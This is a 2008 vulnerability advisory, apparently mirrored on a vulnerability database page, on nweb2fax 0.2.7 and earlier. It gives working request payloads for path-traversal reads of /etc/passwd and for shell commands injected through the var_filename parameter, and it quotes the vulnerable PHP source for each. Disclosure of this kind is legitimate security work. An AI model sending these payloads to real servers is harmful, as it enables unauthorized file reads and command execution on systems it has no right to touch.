nweb2fax <= 0.2.7 Multiple Remote Vulnerabilities

🗓️ 20 Jun 2008 00:00:00Reported by RootType
nweb2fax version 0.2.7 has multiple remote vulnerabilities including local file inclusion flaws.

                                                &nbsp;&nbsp;:::::::-.&nbsp;&nbsp;&nbsp;...&nbsp;&nbsp;&nbsp;&nbsp;::::::.&nbsp;&nbsp;&nbsp;&nbsp;:::.
&nbsp;&nbsp;&nbsp;;;,&nbsp;&nbsp;&nbsp;`';,&nbsp;;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;;`;;;;,&nbsp;&nbsp;`;;;
&nbsp;&nbsp;&nbsp;`[[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[[[['&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[[[&nbsp;&nbsp;[[[[[.&nbsp;'[[
&nbsp;&nbsp;&nbsp;&nbsp;$$,&nbsp;&nbsp;&nbsp;&nbsp;$$$$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$$$&nbsp;&nbsp;$$$&nbsp;&quot;Y$c$$
&nbsp;&nbsp;&nbsp;&nbsp;888_,o8P'88&nbsp;&nbsp;&nbsp;&nbsp;.d888&nbsp;&nbsp;888&nbsp;&nbsp;&nbsp;&nbsp;Y88
&nbsp;&nbsp;&nbsp;&nbsp;MMMMP&quot;`&nbsp;&nbsp;&nbsp;&quot;YmmMMMM&quot;&quot;&nbsp;&nbsp;MMM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YM

&nbsp;&nbsp;&nbsp;[&nbsp;Discovered&nbsp;by&nbsp;dun&nbsp;\&nbsp;dun[at]strcpy.pl&nbsp;]

&nbsp;##################################################################
&nbsp;#&nbsp;&nbsp;[&nbsp;&nbsp;nweb2fax&nbsp;&lt;=&nbsp;0.2.7&nbsp;&nbsp;&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilities&nbsp;&nbsp;]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;##################################################################
&nbsp;#
&nbsp;#&nbsp;Script&nbsp;site:&nbsp;&nbsp;http://sourceforge.net/projects/nweb2fax/
&nbsp;#&nbsp;
&nbsp;#&nbsp;[&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability&nbsp;]:
&nbsp;#&nbsp;&nbsp;***&nbsp;/comm.php?id=../../../../../../../../../../etc/passwd
&nbsp;#
&nbsp;#&nbsp;Bug:
&nbsp;#
&nbsp;#&nbsp;...
&nbsp;#&nbsp;$var_id=$_GET['id'];
&nbsp;#&nbsp;$fileary&nbsp;=&nbsp;file&nbsp;(&nbsp;&quot;$DIR_SPOOL/log/c$var_id&quot;&nbsp;);
&nbsp;#&nbsp;reset($fileary);
&nbsp;#&nbsp;foreach&nbsp;($fileary&nbsp;as&nbsp;$line)&nbsp;{
&nbsp;#&nbsp;	if(&nbsp;trim($line)&nbsp;!=&nbsp;&quot;&quot;&nbsp;){
&nbsp;#&nbsp;		print&nbsp;&quot;&lt;br&gt;$line&quot;;
&nbsp;#&nbsp;	}
&nbsp;#&nbsp;}
&nbsp;#&nbsp;...
&nbsp;#
&nbsp;#
&nbsp;#&nbsp;[&nbsp;Arbitrary&nbsp;File&nbsp;Download&nbsp;Vulnerability&nbsp;]:
&nbsp;#
***&nbsp;/viewrq.php?format=ps&amp;var_filename=../../../../../../../../../../etc/passwd
&nbsp;#
&nbsp;#&nbsp;Bug:
&nbsp;#
&nbsp;#&nbsp;...
&nbsp;#&nbsp;$var_filename=$_GET['var_filename'];
&nbsp;#&nbsp;$var_format=$_GET['format'];
&nbsp;#&nbsp;...
&nbsp;#&nbsp;if(&nbsp;$var_format&nbsp;==&nbsp;&quot;ps&quot;&nbsp;)&nbsp;{
&nbsp;#&nbsp;&nbsp;&nbsp;$filename&nbsp;=&nbsp;&quot;$DIR_SPOOL/$var_filename&quot;;
&nbsp;#&nbsp;&nbsp;&nbsp;header(&quot;Content-Type:&nbsp;application/postscript&quot;);
&nbsp;#&nbsp;&nbsp;&nbsp;header('Content-Disposition:&nbsp;attachment;
filename=&quot;downloaded.ps&quot;');
&nbsp;#&nbsp;&nbsp;&nbsp;readfile(&quot;$filename&quot;);
&nbsp;#&nbsp;...
&nbsp;#
&nbsp;#
&nbsp;#&nbsp;[&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;1]:
&nbsp;#&nbsp;***&nbsp;/viewrq.php?format=tif&amp;var_filename=;id%3E/tmp/id.txt;chmod%
20777%20/tmp/id.txt;
&nbsp;#
&nbsp;#&nbsp;Bug:
&nbsp;#&nbsp;...
&nbsp;#&nbsp;$var_filename=$_GET['var_filename'];
&nbsp;#&nbsp;$var_format=$_GET['format'];
&nbsp;#&nbsp;...
&nbsp;#&nbsp;}&nbsp;elseif&nbsp;($var_format&nbsp;==&nbsp;&quot;pdf&quot;)&nbsp;&nbsp;{
&nbsp;#&nbsp;...
&nbsp;#&nbsp;$recvq_filename&nbsp;=&nbsp;&quot;$DIR_SPOOL/$var_filename&quot;;
&nbsp;#&nbsp;...
&nbsp;#&nbsp;exec(&quot;$PROG_TIFF2PS&nbsp;-a&nbsp;-O&nbsp;$FILE_TMP1&nbsp;$recvq_filename&quot;,$exec_output,
$exec_return);
&nbsp;#&nbsp;...
&nbsp;#&nbsp;
&nbsp;#
&nbsp;#&nbsp;[&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;2]:
&nbsp;#&nbsp;***&nbsp;/viewrq.php?format=pdf&amp;var_filename=;id%3E/tmp/id2.txt;chmod%
20777%20/tmp/id2.txt;id
&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;#&nbsp;Bug:
&nbsp;#&nbsp;...
&nbsp;#&nbsp;$var_filename=$_GET['var_filename'];
&nbsp;#&nbsp;$var_format=$_GET['format'];
&nbsp;#&nbsp;...
&nbsp;#&nbsp;}&nbsp;elseif&nbsp;($var_format&nbsp;==&nbsp;&quot;pdf&quot;)&nbsp;&nbsp;{
&nbsp;#&nbsp;...
&nbsp;#&nbsp;$recvq_filename&nbsp;=&nbsp;&quot;$DIR_SPOOL/$var_filename&quot;;
&nbsp;#&nbsp;...
&nbsp;#&nbsp;&nbsp;$cmd=&quot;$PROG_CAT&nbsp;$recvq_filename&nbsp;|&nbsp;$PROG_GS&nbsp;$gs_options&quot;;
&nbsp;#&nbsp;...
&nbsp;#&nbsp;&nbsp;exec($cmd,$exec_output,$exec_return);
&nbsp;#&nbsp;...
&nbsp;#
&nbsp;#
&nbsp;###############################################
&nbsp;#&nbsp;Greetz:&nbsp;D3m0n_DE&nbsp;*&nbsp;sid.psycho&nbsp;*&nbsp;str0ke&nbsp;and&nbsp;otherz..
&nbsp;###############################################

&nbsp;[&nbsp;dun&nbsp;/&nbsp;2008&nbsp;]&nbsp;
20 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
nweb2fax &lt;= 0.2.7 Multiple Remote Vulnerabilities

nweb2fax <= 0.2.7 Multiple Remote Vulnerabilities
